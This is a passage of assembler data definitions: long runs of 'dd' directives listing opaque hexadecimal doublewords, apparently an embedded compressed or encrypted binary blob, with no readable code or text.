0BFAFA041h, 1CF0BAE0h dd 0F2D46Dh, 592C4384h, 0DB004DDDh, 0A128D51Bh, 0F7EDAABh dd 6BF5C9CAh, 735E01C0h, 0B100A537h, 1EBD81FEh, 96F3A0h dd 5CC82CA1h, 71021324h, 5B56FD00h, 390AACD7h, 6771DCh dd 943A0506h, 0A615D445h, 1375A4F6h, 3601FC78h, 1E4B44F1h dd 0B480DE9Dh, 0B0BDCE19h, 5EECC808h, 1612A572h, 1400502Bh dd 8FCBBA27h, 0C165004Ch, 0E272EDB0h, 53007F07h, 369BC5D4h dd 0F31AD3h, 754A4B8Fh, 5827ECEAh, 82F9F604h, 0B8D0993Fh dd 1354A3B1h, 2420B89h, 5532D6F0h, 9F1A813h, 0A9392F4Eh dd 11832000h, 0C09A715Bh, 52B5200Eh, 0F68BE2C0h, 3AD54016h dd 0C6170BB0h, 0E020DDFFh, 6B6F96CBh, 78769724h, 27F07104h dd 0C0773205h, 48ACDD60h, 0F5071D00h, 537A1192h, 4E163ED6h dd 0F68CB24h, 0CF600B2Ch, 29B61E81h, 8B76353Ch, 0E9AE93Eh dd 0A7098068h, 0A0BE3696h, 25CBECh, 936FA9F4h, 0CF30FCDDh dd 0A95E700h, 47FF096h, 4FDB0008h, 3ED17570h, 2B3C94DFh dd 30E817C8h, 9C093A03h, 9721A865h, 0F56B008Dh, 0BA9DDF01h dd 0F5FC1E5h, 6C238C00h, 0E27BDA29h, 0E02101FBh, 428CA42Ch dd 0B4B08209h, 0E05C32E8h, 0ABE5B3h, 0EC8AFF04h, 7446E1DAh dd 90D99B03h, 0C9CE09B8h, 72C59A91h, 26BF0860h, 3808B0DFh dd 25A4E980h, 0CDA97BF5h, 75D36C09h, 0D0A82062h, 1F6EDB5Ch dd 5F12485h, 90A74B41h, 0D87DCBA0h, 6AC13A12h, 0F84C5883h dd 94540E2h, 78FFA873h, 576DEA80h, 37006F19h, 6B5F7265h dd 87A9B5h, 689F3C2Bh, 30457CC6h, 3B3D5600h, 6B4D5EFCh dd 0E069005Bh, 40C179B2h, 0F2587A39h, 43CB00FCh, 0EC6F185Eh dd 0EDBC000Eh, 0DBFD88E2h, 2E0BAD1Dh, 80D7FE01h, 0C4191108h dd 0F7BA00D9h, 10B6AF16h, 38014C5Ah, 8EA93A7Fh, 0F0E81ED5h dd 4F1D0703h, 60E8FE2Ah, 0A763E232h, 5AA8FF00h, 40A121A3h dd 0A5F23ACFh, 836AB404h, 0FB7E8135h, 2407C49h, 5DCF203Ch dd 605439h, 6346B8BEh, 350025AEh, 65542192h, 23D4782h dd 80CFFAEDh, 0B5838611h, 76F022FFh, 95003C6Eh, 198DB7C6h dd 30DBBDD7h, 4560A18Ah, 524AA51Eh, 1BC6C00h, 0FE9E747Eh dd 0B6181B81h, 0B1C318A9h, 0EAE003C3h, 18A09D1Fh, 24A042A6h dd 71FA5ADCh, 0EBAD73Ah, 0E274C17h, 0C8962193h, 3D305E5Dh dd 0BE3F0086h, 120F7413h, 0C6007FA6h, 0D7D2E7DBh, 30FC9887h dd 0D6506DEFh, 0D0019D72h, 6E3D7C9Eh, 3C479A1Fh, 0C88149A1h dd 261100EBh, 99AED79Dh, 7C01B6DFh, 0D13FDE16h, 0A4514890h dd 7C3C5FC6h, 0E0BA440h, 0BBC5A9A8h, 0C73E9561h, 5A64414Bh dd 5314415Ch, 879FC4A9h, 50889A00h, 0CC1C4E31h, 79C37A18h dd 0A48A0352h, 5EBBEAB7h, 0F048E7C0h, 78C60100h, 89242618h dd 8A6A00ADh, 0CE218122h, 3B30544Bh, 0B647B953h, 281B1D08h dd 0AD7D4092h, 48C5D64Bh, 524E3F00h, 0F8A7EFA8h, 0B1A77D7h dd 0FA85574Ch, 2E65B480h, 8B034676h, 592655DAh, 0A5C11D9Bh dd 7A14061Eh, 700B1157h, 80C48744h, 0D7A1A9AAh, 0B408CC13h dd 6C1D7921h, 37C0F187h, 156456ADh, 509906BAh, 7853B167h dd 7A2FF09h, 984C13C9h, 0E839CC6h, 3D77F6DDh, 5908DEECh dd 8F0621C0h, 6BBA9Ch, 55CFA31Fh, 0A118C2A4h, 733152FCh dd 3E601044h, 5885E987h, 0AED130A3h, 9100D262h, 42D30FE4h dd 3B10E013h, 80004378h, 0DE8DDC7Ah, 4000F1EFh, 232D475h dd 369BD84h, 2A3F51F2h, 6ED0F512h, 2B00C75Dh, 0F06DD1F3h dd 7E97C979h, 95B7015Fh, 0FBB478FAh, 0D41AF127h, 1400285Eh dd 0E574EE20h, 3761BD8h, 9FF3624Bh, 180E6401h, 6365F485h dd 0E0F06992h, 4498BE7Ah, 0BC42CD6Fh, 8D88FA21h, 449645B7h dd 2384E924h, 0C190492h, 0F83D164h, 0ECB96471h, 8F378D01h dd 23EED0F9h, 0DC67B401h, 17AA16B8h, 0C6152180h, 9EA0AFE1h dd 81257A30h, 0E957ADA2h, 66CE3980h, 55164CEDh, 2F228B0Fh dd 117C005Eh, 0C449735Fh, 76F9F70h, 0E78362E5h, 786178E2h dd 9A0C305Fh, 816B6D21h, 2C9B1F0Eh, 6EA9C1A8h, 0C980917Ch dd 386F04E6h, 1C37F05Eh, 62C08081h, 6A8E07h, 2514BD96h dd 0AD90B0BEh, 0C4B91601h, 1723B16Eh, 3AC5F7F0h, 220CAA9Ch dd 74F92CDDh, 0E054A52Eh, 53161C1Dh, 3D4C4B0Eh, 3E218718h dd 0C9AE243Dh, 5FC200C6h, 259A1E5Bh, 1621FE60h, 12CB2D6h dd 0AAE292DBh, 0F0EF5349h, 0B9C3387Ch, 0C0D6AFC2h, 0EFD56FAh dd 670E1A52h, 0A0F1E101h, 85498184h, 7197EF7Fh, 0ED1100FBh dd 1BC26BCBh, 0FA198B2Bh, 4A0833A2h, 23F82180h, 4382E66Bh dd 48271D01h, 0D27B1165h, 0AF60CAF1h, 62591E3Eh, 84A51549h dd 680FDD0Dh, 50E9F0A8h, 1518A262h, 0A98C805Ch, 0A0FBCFDCh dd 1601694h, 0A0D54036h, 0F0722C6Eh, 6DF4DFA9h, 55D92301h dd 37777EB9h, 0B85489FFh, 0B64DD0h, 0C930932Dh, 4C692421h dd 3E732000h, 3FDB5358h, 0D2380080h, 0F3C00802h, 55005F27h dd 7D40548h, 0FA7EDCF0h, 53FAB6h, 6AE898B1h, 8852340Dh dd 73672B00h, 9CE7D16Ch, 0EFF83Dh, 9904334Ch, 0AEE9FB77h dd 13D54239h, 5601814Fh, 0BD3DA745h, 1F9EF7DCh, 79FE958h dd 60061B68h, 0E64B6C69h, 7199BD00h, 0D434D7FFh, 0D00E0341h dd 0C03603F6h, 8E3F0818h, 1CFD20h, 16089ED4h, 0EACD66Dh dd 0B700197Ch, 4E54EB99h, 0C2E44EDh, 121D4788h, 0FF0C3F58h dd 291626E6h, 587A00D1h, 384A9E21h, 423A9682h, 21CF30C3h dd 3B597556h, 8980DAB2h, 0E7DF301h, 400FE95h, 69D84793h dd 30058FE4h, 0EB9B7E9h, 0E662F4EDh, 0E37E9C20h, 0BC201E4Fh dd 1803DB92h, 3E78823h, 9E345877h, 0CC448044h, 486EB188h dd 9248A859h, 432F1F7Ah, 4D2DC0CAh, 0E13270A7h, 145D8900h dd 1DA127E4h, 0DBB20333h, 98F45C72h, 0B9B79807h, 0F120C811h dd 1DA323EFh, 0C22570Eh, 2C207275h, 0DBC34800h, 2049BCDh dd 0EABAF261h, 4D9418FBh, 0BC6D608Fh, 158B5412h, 501B4100h dd 265B7Dh, 74615E7Ch, 7FBDD368h, 72275C00h, 0D8BE63CCh dd 0D1C40FA5h, 4140B47Ch, 444C583Bh, 0B8F42538h, 824D0046h dd 308910EBh, 0B1230E6Ah, 5562F585h, 0CCC00E0Bh, 0C2008C28h dd 29D4705h, 0E4A32A2Ch, 0CEC73C07h, 1EE45100h, 508C9253h dd 0B7937F00h, 0E6BFD2AAh, 466F399Ch, 69F6A80h, 92BB193Dh dd 0C449F400h, 6E4B6516h, 0F27900D6h, 0A36B82C2h, 8D00300Ah dd 0FC77D331h, 3AE69552h, 0B9D891Dh, 2D48003Fh, 7ACB6A7Ch dd 6570B400h, 6CD5AC99h, 13C0137Fh, 427E00A0h, 3ABF2445h dd 831E4900h, 5A23EC30h, 306960DDh, 0B8629257h, 9CD93D03h dd 0CEFD16F0h, 50E50318h, 8639D210h, 97F21018h, 296508h dd 0CA17088Ch, 6637AE3Ch, 0DA07C600h, 1449FCA9h, 0D7E900B2h dd 5E87BBF6h, 378904Bh, 1C339E02h, 40AE8EEAh, 7D32EACh dd 8DAF2DF7h, 9B38E139h, 9AE8F8A0h, 771010DDh, 60121A00h dd 0D3BD4CB8h, 0E1C0CB3Ah, 43775A19h, 91A35D00h, 0D4B71E3Ah dd 0DE30AA84h, 2414B178h, 4E86387Fh, 9ABAD58Ch, 9B00E718h dd 18FCD833h, 1CA5E8D4h, 0C013686Dh, 9AD9B8C6h, 2800ADA8h dd 1892B673h, 733DCB0Fh, 115F488h, 99E2C58Ch, 4FE1781Ch dd 316AAC04h, 24106E77h, 1419808Dh, 3F4F8929h, 0A5E083h dd 6E945DFh, 1F97D2B3h, 46FC01Dh, 7F180F86h, 0A34C2029h dd 3E07C703h, 0A0AA19BDh, 5A76D0h, 0DE7D99FCh, 30E601CFh dd 45A16400h, 0A95781B4h dd 0C8F51F86h, 0C618C09Ch, 64603C34h, 0BC29E400h, 0B25A5967h dd 24EA0782h, 8E79027Dh, 0E120D300h, 0AE004643h, 453997D1h dd 0FADA7FE3h, 0DBBF00EAh, 0E67E8B88h, 0A50063B2h, 0F16880BBh dd 5B2BB3h, 17E7DD2Fh, 4A94658Fh, 43B5F300h, 0A4EA505Dh dd 3D870044h, 0A5F14055h, 6B01BF1Ah, 36D128D3h, 0FFF9C575h dd 0B531D0h, 0ECCD723h, 88A5141h, 0C3FA3200h, 0B6FDE3E7h dd 5E981FBFh, 0FCE60059h, 0C9C0F84Ch, 31CB321Fh, 1FAAEE0Eh dd 97005316h, 85E51898h, 0F8B43D22h, 0E9383005h, 1FFEC0AFh dd 2C1C3128h, 80401A91h, 1DBD6AF6h, 8CE950E4h, 14E70013h dd 9DA98542h, 761C5D84h, 3E00BC37h, 538FC966h, 0AAAB009Eh dd 24BEBAE3h, 82031FA2h, 1181C7DCh, 0E13EB8F2h, 0BD610719h dd 0C0EF55EBh, 0E2D11C27h, 1D85F312h, 97050C00h, 0F4CBAAF1h dd 29F3043h, 68C12540h, 0A226500h, 5675BAEEh, 5B1A1339h dd 0F9E600F7h, 304815D6h, 0B7A85C00h, 433CFA8Eh, 40964834h dd 3C2128h, 5DFCDBFEh, 3077CE05h, 8300B17Ah, 0E5B7484Bh dd 0A0434C75h, 4A1BBCh, 5FFC1A07h, 529449C7h, 0BC62C500h dd 0DED47A38h, 8FE90171h, 311ADFF4h, 1B74EC3Ch, 35ECDD01h dd 0EAF97F9Bh, 500B1180h, 8FBF1C30h, 7CF1EE03h, 0B08553CEh dd 1DF35ED5h, 3BE0B5DAh, 2EC0C30Fh, 6990F6C0h, 8019FCDh dd 997268Ch, 40C6E047h, 6729CA8h, 0D76C51B9h, 68F4F9E6h dd 0A74CCC00h, 0A4C63BE3h, 62560063h, 6EEED8A6h, 0ADF802E4h dd 0C48CCF00h, 0C65B74DDh, 7FBC0050h, 0B83EC964h, 1853B54Dh dd 7F800D0h, 7A062047h, 13403A9h, 216CF2C9h, 0DC8219E2h dd 682053F6h, 0AF5F19Ch, 38E372D7h, 0A31203B4h, 43C890CDh dd 6C0CD9B7h, 0B00AFD04h, 25F7C75h, 784E5118h, 0F48303A2h dd 0E6825E93h, 4DFDF083h, 0C0019D6h, 19D91FBEh, 0AC2C51h dd 27E6096Ch, 0B088CEBAh, 21229400h, 441E7A7Eh, 1B4101E7h dd 0EFA4FC07h, 5D18C0D2h, 9BF9DB05h, 8C405835h, 0AAC13B24h dd 48A54CA3h, 1F3D926h, 0DF9E350h, 72A982AFh, 44195D42h dd 0B9BD1704h, 94C500EBh, 5BEF45C1h, 18402300h, 6F6D473Dh dd 51130C3Bh, 55ECE180h, 0DDE28F00h, 3E81CCEBh, 7B0D03CDh dd 88355DB1h, 0BC308807h, 211033ADh, 24E95FFEh, 4199EB4h dd 0C0EDAFA9h, 4ED3F534h, 0D4440B05h, 6470E05Eh, 541746Bh dd 9DD9DD40h, 0BB7AC043h, 0C5035D72h, 90E67D68h, 0E10DC357h dd 0CC34AAA5h, 8C906Dh, 0BFDEC398h, 55349BF4h, 841F59C9h dd 0C49CBEC6h, 0E31A01CCh, 345F5D80h, 48B424BDh, 983D9943h dd 0E50FFFBBh, 0C1BC7A5Bh, 0A5FD3AA2h, 0E4DC4073h, 809DEB0Ah dd 945EB1DEh, 0F2402BFh, 0F3FC1883h, 454BED60h, 587DC00h dd 542BB77Ch, 79290BB0h, 0B106A262h, 342CDA22h, 0D98F3447h dd 83A60B97h, 6F0B6Dh, 29A18D68h, 4CE9AAE8h, 0F9BDA200h dd 0FA78915Dh, 467F33h, 0D16F9B75h, 6AB5FDD7h, 3B706548h dd 0DB011CE0h, 36AF1200h, 0E470B5Fh, 74B03B9Eh, 5510DC20h dd 435CC81Ch, 0E6EC00ACh, 0A419707h, 0E3A10259h, 0E5AB4A6h dd 622ADCC8h, 6DB05D02h, 4C2E0472h, 83292C30h, 97BB024Ch dd 40487F51h, 66694A07h, 11F40004h, 8076D5h, 4950EA2h dd 0EE7DAFDEh, 6CD13E04h, 6809CAAh, 0E0F3F59h, 0FC98E388h dd 0F2CCDE80h, 0B5005E9Bh, 0ED694871h, 0F8E212h, 0AD342311h dd 3BF12F47h, 0BF0742B8h, 3AA9DBACh, 91640130h, 49A47E76h dd 0F43CF017h, 8F224FEh, 3260104h, 24713E5Ah, 1B001830h dd 0A61D0BA0h, 0ABE67h, 40C758FEh, 9AE6063Bh, 0D276A0EAh dd 0C553520Ah, 0BE40BC79h, 65FF56h, 10A81891h, 38759795h dd 0E873721Eh, 7C492AC0h, 76BFDD25h, 0F1D40302h, 359F529Eh dd 0D904D0D4h, 0DE035B8Eh, 0C3A06E46h, 7369F0A2h, 7E3A0006h dd 623F394Dh, 7B2416C9h, 0FF01C4E4h, 8D7AE60Bh, 0F19C60h dd 8F4A50E1h, 0BA88C5A0h, 0B86B9616h, 0D2E20400h, 3E48322h dd 6E716319h, 32886CE0h, 3F005D1Fh, 0BDB9A4C1h, 0B3094Eh dd 0C74ABF5Eh, 716481A0h, 0AB01EA1Ch, 0DF8684C6h, 0E15A1E6Eh dd 0B1168397h, 11026A18h, 8E666261h, 0C279E077h, 4A26008Bh dd 32CCDADEh, 0FE3A185Ah, 2400D95Bh, 62855CD8h, 970C80h dd 0E079B002h, 433209h, 675DE5F2h, 8662475Eh, 0FBD58700h dd 4D7DB3Dh, 0C9605FEh, 0EE306Eh, 0A43B89CFh, 16009058h dd 0FE3404FCh, 0CB9C36Ch, 740672BFh, 893B2E70h, 345800B2h dd 79D09A65h, 0FABA0030h, 8CAD6822h, 0CEE4715h, 0E7A72D00h dd 75B40411h, 0AA3A0148h, 9521A8D3h, 1F96C89Dh, 0F10EEB02h dd 0E0A4804Ah, 9B93B30h, 0ED56124Ch, 0B29F10Ch, 73DC81Dh dd 6D5C09C0h, 5523B41h, 46A53FDBh, 9BB0C068h, 0DA00E595h dd 0FA9C05Bh, 1D2864FAh, 0CFF559EDh, 0EC05856Fh, 9FBC8076h dd 3D1F521Ah, 495CE2AEh, 1BAB62C0h, 94194527h, 91164Ch dd 7CFA117Ch, 0DE1D22DCh, 0B4AA751Ah, 3800555Ch, 4ABE938Ah dd 10076843h, 25D5B043h, 50ED78ECh, 0B1E8D4E3h, 0A91D4h dd 7DDB24B8h, 9CBFAh, 76525AECh, 49B7FE3Fh, 0A2AC4703h dd 0C8E5D790h, 416FF62h, 434B640h, 0CF74C878h, 7C95F900h dd 0FBB3ED7h, 0A1330020h, 0AA2BCC50h, 2F24101Dh, 0FB00D440h dd 5E8D7B57h, 0E6DB26A7h, 9E3200ECh, 0A2F44494h, 0C440D400h dd 0A5FEEEBDh, 667700ECh, 0CDD0C9E8h, 271FF80Eh, 0D1B01704h dd 0BF72ACh, 21B20D94h, 0D83E0FB1h, 16C2FC00h, 2A29C0AAh dd 3878C00Bh, 6D188A17h, 0D1820C99h, 3B3CEAh, 0E377472Eh dd 0D8260700h, 30FC7831h, 0F9DC05E8h, 8C234E16h, 0D3163728h dd 2063FEE9h, 6D6AE017h, 0FAD49878h, 0F9C5300Fh, 3860CF69h dd 1200BBB0h, 0BDEE3BADh, 0B20D996Eh, 6FEB096Ch, 0C0A095CDh dd 941BE76Dh, 4D45D51Eh, 98A1F380h, 2C19D414h, 15707B6Ch dd 0C508CC4h, 43D3B4Ah, 45D7C00Eh, 242C8DF2h, 5E1F449Ch dd 31802D18h, 48E79FA9h, 0F3F50B67h, 0C00762BFh, 0C598A8DDh dd 1FD0FC41h, 4188D9B4h, 7A8EA222h, 80BC63EEh, 45E0E401h dd 0E3A7501Dh, 11EE4FAh, 0FB2C6B16h, 0DCF02A83h, 595C10B5h dd 0F45300B2h, 0E8BCDA2Eh, 11AC0561h, 0D045A77Dh, 70418CACh dd 91D6FC78h, 6F4C4400h, 2F157BEh, 8668A92Fh, 74A807C4h dd 0F084C0C4h, 9EFFBAEEh, 3A801AF0h, 0FBDED7B9h, 80F80085h dd 647E1249h, 0C61D7436h, 54C76A0Eh, 0C7300A63h, 0AC4484Dh dd 43CF3AD9h, 908483E0h, 11F67D21h, 0BAFC4701h, 5B7264FFh dd 237B4ECh, 0AC6376D7h, 6C4005A3h, 0C4F8C632h, 823B41FEh dd 54A98011h, 7292A0A1h, 443B001Dh, 867BD4ADh, 6700F8EAh dd 0A9AFD9B1h, 0F22CD5h, 99549DE4h, 0CBED6FA2h, 20A70A12h dd 13051007h, 0D2B01720h, 623100AAh, 2B120D52h, 1B704198h dd 0FC7F7AE4h, 60B2A615h, 0BB790CACh, 7FFF400Bh, 127935h dd 4A108D18h, 0E9B265E6h, 82F028C6h, 4C3C0C69h, 2B19992Dh dd 2AA8EA06h, 10E638h, 611AA3E3h, 0F6D6834Fh, 0B60A8D00h dd 0D49B2C98h, 9FE00D7h, 3A1C12A6h, 0C51F601Dh, 14401F90h dd 0CFE4A308h, 2E050077h, 0E0DDBE59h, 2C16DAC5h, 0EA0ED375h dd 0F1DE0DFh, 0F127D6h, 56A3370Ch, 6BC0728Dh, 0B9468E07h dd 0CD30E66Eh, 4E2BCAh, 0BB173F0Dh, 0D29B70FBh, 209C48h dd 43285873h, 0F18CE8h, 3963406Ah, 9F1B5093h, 0D8291300h dd 0DA19B349h, 0FC2E03EEh dd 3EA44B2Ch, 6C9AE488h, 45003AE0h, 945BE063h, 224C957h dd 0B399650h, 7C53F888h, 44001012h, 4BEAC9FFh, 19D103DDh dd 715D7489h, 2CFA7588h, 15F9CD05h, 5484B654h, 3BDD9700h dd 397C6DE3h, 970009C6h, 5AD6B918h, 0CB7C58F9h, 99486507h dd 0F1701221h, 0E66D7h, 0A1BD9F62h, 910DB8E5h, 7B2D0400h dd 0CC47199Ch, 6F5D3CFDh, 0D1FEAA00h, 2171D674h, 72B76A14h dd 0E23A07DEh, 46E07A07h, 51668Fh, 2C24B6B3h, 7D0FC312h dd 89D47801h, 8D342CAh, 724ADCD0h, 554F3C25h, 340C1401h dd 0F4728784h, 0E4E6D789h, 0BE7F1D00h, 0C52B7AA2h, 8D9E006Ah dd 3F1AA15Ah, 79EA8471h, 4E008F77h, 0DE785D6Eh, 790B1CB2h dd 26820093h, 0AE0C95C2h, 6B00D8FEh, 308E1FDDh, 49E117h dd 0B181502Eh, 0D20992FBh, 7FE0CE00h, 28870DE7h, 0C720056h dd 8982186Ah, 0E800CF45h, 52CDEB0Fh, 0F115D38h, 0FCD30AEAh dd 3698BCE0h, 9B00A894h, 9276D867h, 61FB17Fh, 0A03D62DBh dd 41094073h, 0E74445Ch, 66CDE044h, 879482h, 25E0D1E2h dd 0D30831B9h, 0E5ADE700h, 75E4BCA6h, 13350036h, 88CDB5D8h dd 7900B71Ch, 0AE3A8025h, 34E5C0Eh, 18A2F19Ah, 0A2BFDC01h dd 0F4C0DAFBh, 3B01F6D0h, 35923D2Dh, 87307A36h, 7CA7663h dd 0A8F2EB79h, 1DC5E177h, 0CD3860CFh, 308C1F00h, 0FC918448h dd 0DC2100DEh, 0A8B9E75Dh, 5800C454h, 0E545EC1Fh, 2CFA9DA9h dd 0FC5363Dh, 2B00BD46h, 0A7B12DA3h, 5FBF5A00h, 9971F898h dd 9FB80047h, 41B2B6E6h, 9D00593Dh, 0A55B5240h, 0FC7EC2D8h dd 14AC001Fh, 0DE8783EFh, 630FE9DDh, 0C00F9C02h, 65D2CC94h dd 7D660C67h, 0C0E0DBD5h, 0AA638h, 89C582ADh, 0FB7DE2Bh dd 0F1185F3h, 10C362E1h, 3E27DC63h, 3DBE6600h, 0F8409778h dd 871E00F6h, 6D2CC519h, 59084892h, 14AD015Bh, 970398D5h dd 736FC2FAh, 0E1864AD0h, 9C398900h, 0D0C32285h, 504901C9h dd 0A6A5F790h, 9881E444h, 0F9BACE1Fh, 0E39F7300h, 222BF2h dd 757CA041h, 8FBC29C1h, 65EA8200h, 7A580C25h, 63B899h dd 6EA13459h, 268AB60Bh, 4049830Eh, 1EBD8071h, 65E5B2h dd 4CEC02D6h, 3D9E041Dh, 0F7D00600h, 7C3E2EB4h, 0C65D0059h dd 6B994777h, 0F0E53F6h, 0E0AA7F94h, 0F233CC57h, 0E3560767h dd 40CA2449h, 5FF5A117h, 0D79FC101h, 0B530B405h, 0B81DF0h dd 0AFDCBCFh, 6C5C3EAAh, 0FF60D000h, 0E9501507h, 3C7A31h dd 0ACB6DD1Bh, 3C4D7D6h, 4B2DDE1Dh, 0B9F56580h, 1D108CA9h dd 41F0338Dh, 0AFDBB5C2h, 5D97F87Ah, 0BD0064FCh, 403CE3F4h dd 1F7DD1Dh, 0A09C144Dh, 0F7597F56h, 0EE0569B8h, 0BC1D4C71h dd 80403591h, 265DF62Ch, 0ABF0492h, 8034BEB8h, 82D9DCE7h dd 0C8D3F00h, 0E953AAE7h, 473206B4h, 5CD4E0BAh, 0DEC0F400h dd 8C513AF7h, 0BD71C7Eh, 1B8780E9h, 0F99284B6h, 4170B200h dd 0B09A9995h, 0E0B8A00Ch, 0C937043Dh, 0F08B53CAh, 0F902F4A8h dd 816049Eh, 0D218E16Dh, 3A22D080h, 0A3437ADAh, 315D7500h dd 0CABF84A4h, 61340008h, 0BC965F36h, 58042AEAh, 6BC39A75h dd 0BE84E0h, 196C8A1Eh, 20D00CC8h, 2DCFF702h, 4866A09Fh dd 2609F5ECh, 30059E37h, 0CD342111h, 161846F8h, 9D292B40h dd 98952E8Eh, 8560007Ch, 15CE7C21h, 0CB1F96E8h, 4AC1C506h dd 0DC8A82C3h, 0CAAEC4h, 0CCDA5CFCh, 2D6DDB72h, 53A62500h dd 9D96F41Ah, 94721Bh, 47CFA24Fh, 0CB67DBE2h, 3FF89001h dd 9611FE1Ah, 0FF427180h, 7BCE8028h, 0FD7CB026h, 28E3050Ch dd 0FCD3E8EDh, 0FBA9C0C1h, 2B3D96E5h, 0FEDF0600h, 0FF40041Bh dd 0A05A1398h, 1CD080BCh, 30DDA63Eh, 4F274Fh, 978483C9h dd 1B4500E3h, 0B97A25F7h, 0D27B464Ah, 0A20F7496h, 5269B81Fh dd 1DE5EDFAh, 95B8F479h, 0E0977930h, 14C55E7h, 7AD0FDECh dd 606FB156h, 27008512h, 9DE28F4Eh, 0F010BAh, 86623FE6h dd 0A2805CC8h, 770EDB00h, 96C6EDABh, 0B6FE2A4h, 43258617h dd 0D78F048Fh, 8B630CE0h, 0DB763CE9h, 86890100h, 275DE720h dd 0C7460019h, 8CDD6677h, 0FF16E3D8h, 0BB856Ch, 1EF926EFh dd 0B800A874h, 55FB2C5Bh, 486853h, 9A40E841h, 68F4B38h dd 0C1E8627Ah, 75C2FF00h, 0F0E43FD9h, 89840053h, 0BD7161DDh dd 1F00B687h, 912CF6CEh, 3D3C204Fh, 5100E2E3h, 0A1102F52h dd 9300865Eh, 55178347h, 3A6A8Bh, 770232BFh, 513F5671h dd 0D0096C00h, 358F490Dh, 5A8100CCh, 0AEC299D7h, 0B3006474h dd 1DEC24FBh, 210907Ch, 2AE15A87h, 0F0C87B3Ah, 0BD12DEB9h dd 0B4001C4Bh, 6E9D33CBh, 100860D4h, 2982D643h, 0CE0034B9h dd 52FB0A40h, 653B1626h, 7954902Ah, 7E002E9Bh, 0F60FBA44h dd 46DCFE4h, 1574786h, 3FCA08Eh, 7782F70Dh, 0B0E0BA29h dd 90970113h, 5C0DCF27h, 7CDAD2E8h, 0AC1C5708h, 0BEBD013Fh dd 24CCF0ADh, 5C0E3D1Ch, 968C3857h, 709728C0h, 13840E7Bh dd 4860C1CCh, 0FF3CD4C0h, 81B2103Dh, 7E800C6Eh, 0D5ECB1ACh dd 3B0B003Eh, 6E8224Eh, 8400DC75h, 535681CDh, 98C0BDF4h dd 0B1760775h, 551F9110h, 8FEE00A0h, 57186B3Bh, 23732E73h dd 68BEB700h, 164A79D5h, 958A0377h, 0F02B1BB6h, 0F07857C7h dd 5A61DE72h, 0C7ADD000h, 0A53F0945h, 3048071Fh, 35602C3Ah dd 0CBE0016Bh, 60F6EA47h, 0D10001CEh, 0FFA99CACh, 3E91024Eh dd 0F800588Ah, 147A5A60h, 0A4A049DFh, 68000697h, 1FF7C5A5h dd 0A0108F43h, 92C7C0A8h, 643E1DB4h, 6E9C31Ah, 0E3B505D8h dd 32D0188h, 0CAB8D67Ah, 3325BDCh, 7CE04FF1h, 6821403Ah dd 0C467016Ch, 0F58D251Fh, 0C47E6151h, 39FC7FE2h, 891D541Fh dd 8D14681h, 0C3C8885Ah, 42B74B2Ah, 0C34E270h, 43000472h dd 61D456AAh, 1D65AE1Dh, 0C23E81BBh, 0BEB0CC19h, 33F2D850h dd 1F1D0B00h, 8E6A5154h, 881B1846h, 26A616A7h, 0D941B500h dd 2B09A5C1h, 27EE1E6Bh, 5F02F83Bh, 893DEC92h, 9661A06Ah dd 9F6760A0h, 88BE0B00h, 7AEC8B8Ch, 0C8DD006Bh, 2F18A9B8h dd 0C018FC9Ch, 0F4A87237h, 5BEE54h, 20843D8Ch, 8D39D3F0h dd 0D938BE30h, 0F8557DAh, 64A7807Ch, 9FB64921h, 4C9C50B1h dd 0E500A80Bh, 722779F0h, 3C10E5Ch, 0B680D420h, 0E8004028h dd 0C6DE11B5h, 1F0FCC8h, 0EA2B13A0h, 854E93F8h, 0BBBCAC89h dd 113D4CC0h, 0B823EA7Ch, 0A9EE0088h, 4A556537h, 4113EA12h dd 0C820951Bh, 2EC464h, 86C0181Ah, 8E72DDBBh, 5B00109Eh dd 0D08F85F6h, 9040380Eh, 1E55C600h, 394788F5h, 0DA35BA00h dd 0DBE2F98h, 0DBDF2DA2h, 9D564803h, 3CCD22C8h, 0BD9CA918h dd 1D4AACh, 0A32C18F4h, 650B5ADFh, 73F0374Ch, 32137501h dd 6155782Fh, 0F0E639F0h, 587CDCh, 0FB84BD92h, 9424BF5Eh dd 0D5CB3500h, 967818E0h, 9E97005Ah, 0E47D15E2h, 62039589h dd 3D69ECDDh, 0B855E04Dh, 7F447109h, 0E82B01EAh, 79F7E181h dd 2940E4D1h, 0A790F600h, 0FD13F808h, 122B3F0Fh, 0D67F5580h dd 5D27C3CBh, 1C1BD500h, 181EA319h, 97E00738h, 0E025793Ah dd 40BE2223h, 785D82FEh, 0E3510154h, 3517039Bh, 38A0D050h dd 4CF34922h, 564B7400h, 25ED9343h, 601A2658h, 27AD49E0h dd 1AE80762h, 0D661F554h, 3900D072h, 0CAEF24Ah, 440A09h dd 1D34D401h, 764E3A21h, 40809603h, 9077E804h, 0C397CBh dd 925DD02Fh, 9F4EECB7h, 73609CBAh, 0F1898B50h, 945B0070h dd 9E4EA29Bh, 5450A5E7h dd 5F00FD88h, 2EB7664h, 1F3DF8Bh, 0A1CED0B6h, 64E574C1h dd 9701DCD0h, 0E221F6C6h, 67E0479Ah, 5A1902B4h, 0A37AB891h dd 0A085C60h, 5C7D4601h, 0B04875A4h, 182056D8h, 1074F2FAh dd 5F1CAE55h, 0F000A9EFh, 9ACB3122h, 0B21B3D0Ah, 4224A580h dd 0C9B04DA7h, 3AA42D00h, 0A6D16EFFh, 941D0038h, 568C7FBBh dd 53268582h, 92006CF2h, 7BBDBC71h, 0C3E900B8h, 0A474B27Fh dd 0C1720250h, 590D6705h, 0BC07183Eh, 66C2EEC7h, 0E6144023h dd 52E33B72h, 8A6D24h, 92FE8659h, 9C00C496h, 0A12E4269h dd 0CF067A4Ch, 0F24530h, 48EE4BBEh, 0E90094A0h, 0D4DFF1D5h dd 315EF70h, 0CB753AF7h, 80AD05CDh, 7C939D7h, 193F1300h dd 0A606D4A4h, 0D630A9Dh, 4F8DA3Ch, 8051E357h, 1B36D009h dd 29936800h, 551A3EF5h, 42E10FBBh, 352014CDh, 68FE25A4h dd 0EE4A6600h, 7C5B7640h, 0F8F60086h, 4B772E9Eh, 0F71FF55Fh dd 0D2C3A05Eh, 9F8CD867h, 4437DBD0h, 19E9003Dh, 70C1D01Eh dd 3403172Eh, 41DC92DAh, 0D1A6E1E2h, 0D2002C1h, 0E2B01BFh dd 77730F7Dh, 17E7C4B1h, 2D01E4ECh, 2557BEAAh, 0C6C89286h dd 0D27200B2h, 0E6C51355h, 2A3D335Eh, 173880D8h, 72503961h dd 5A3109A8h, 42003E2Fh, 0A4F6C3D0h, 0EA6F6E00h, 0E8D9555Ch dd 2590B2D3h, 8CE04AA2h, 533E44B7h, 7A36004Eh, 7585332Eh dd 19A2002Dh, 